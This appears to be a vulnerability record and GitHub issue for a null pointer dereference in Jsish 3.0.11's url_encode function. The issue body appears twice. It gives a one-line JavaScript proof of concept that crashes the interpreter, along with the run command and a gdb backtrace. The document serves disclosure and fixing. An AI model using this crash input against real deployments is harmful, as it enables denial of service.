An issue found in Jsish v.3.0.11 and before allows an attacker to cause a denial of service via the Jsi_Strlen function in the src/jsiChar.c file.
cpe:2.3:a:jsish:jsish:*:*:*:*:*:*:*:*
633EAFF5-6C2C-4EA3-8E68-C899A78ECC1E
3.0.11
OR
DongzhuoZhao added on 2020-05-11 05:31:25:
git version:
4603977ef0ffdaf3d0f641ff6a361aa26e36974d

save follow testcase as .js format :

new Array(- 256, 0, - 2.0).forEach(encodeURI);

run:
./jsimin poc.js

Result:
zdz@ubuntu:~/jsish$ ./jsimin /home/zdz/debugBug/jsi/bug/poc.js
Segmentation fault (core dumped)

Backtrace:
(gdb) bt
#0  __strlen_avx2 () at ../sysdeps/x86_64/multiarch/strlen-avx2.S:62
#1  0x00005555555b37d4 in Jsi_Strlen (str=0x0) at ./src/jsiChar.c:29
#2  0x00005555555cfdd2 in url_encode (str=0x0) at ./src/jsiCmds.c:1103
#3  0x00005555555d0062 in EncodeURICmd (interp=0x555555865260, 
    args=0x5555558c6b50, _this=0x5555558c6b90, ret=0x7fffffff5ba0, 
    funcPtr=0x55555588a510) at ./src/jsiCmds.c:1143
#4  0x000055555558f81a in jsi_FunctionInvoke (interp=0x555555865260, 
    tocall=0x5555558c67f0, args=0x5555558c6b50, ret=0x7fffffff5ba0, 
    _this=0x5555558c6a80) at ./src/jsiFunc.c:799
#5  0x000055555558f9b8 in Jsi_FunctionInvoke (interp=0x555555865260, 
    func=0x5555558c67f0, args=0x5555558c6b50, ret=0x7fffffff5ba0, 
    _this=0x5555558c6a80) at ./src/jsiFunc.c:823


Found by Dongzhuo Zhao working with ADLab of Venustech
Null pointer dereference in url_encode
This is a GitHub Issue
repo:jsish
owner:pcmacdon
Title : Null pointer dereference in url_encode
Issue date:

--- start body ---
DongzhuoZhao added on 2020-05-11 05:31:25:
git version:
4603977ef0ffdaf3d0f641ff6a361aa26e36974d

save follow testcase as .js format :

new Array(- 256, 0, - 2.0).forEach(encodeURI);

run:
./jsimin poc.js

Result:
zdz@ubuntu:~/jsish$ ./jsimin /home/zdz/debugBug/jsi/bug/poc.js
Segmentation fault (core dumped)

Backtrace:
(gdb) bt
#0  __strlen_avx2 () at ../sysdeps/x86_64/multiarch/strlen-avx2.S:62
#1  0x00005555555b37d4 in Jsi_Strlen (str=0x0) at ./src/jsiChar.c:29
#2  0x00005555555cfdd2 in url_encode (str=0x0) at ./src/jsiCmds.c:1103
#3  0x00005555555d0062 in EncodeURICmd (interp=0x555555865260, 
    args=0x5555558c6b50, _this=0x5555558c6b90, ret=0x7fffffff5ba0, 
    funcPtr=0x55555588a510) at ./src/jsiCmds.c:1143
#4  0x000055555558f81a in jsi_FunctionInvoke (interp=0x555555865260, 
    tocall=0x5555558c67f0, args=0x5555558c6b50, ret=0x7fffffff5ba0, 
    _this=0x5555558c6a80) at ./src/jsiFunc.c:799
#5  0x000055555558f9b8 in Jsi_FunctionInvoke (interp=0x555555865260, 
    func=0x5555558c67f0, args=0x5555558c6b50, ret=0x7fffffff5ba0, 
    _this=0x5555558c6a80) at ./src/jsiFunc.c:823


Found by Dongzhuo Zhao working with ADLab of Venustech
--- end body ---

comments :
--- start comments ---

--- end comments ---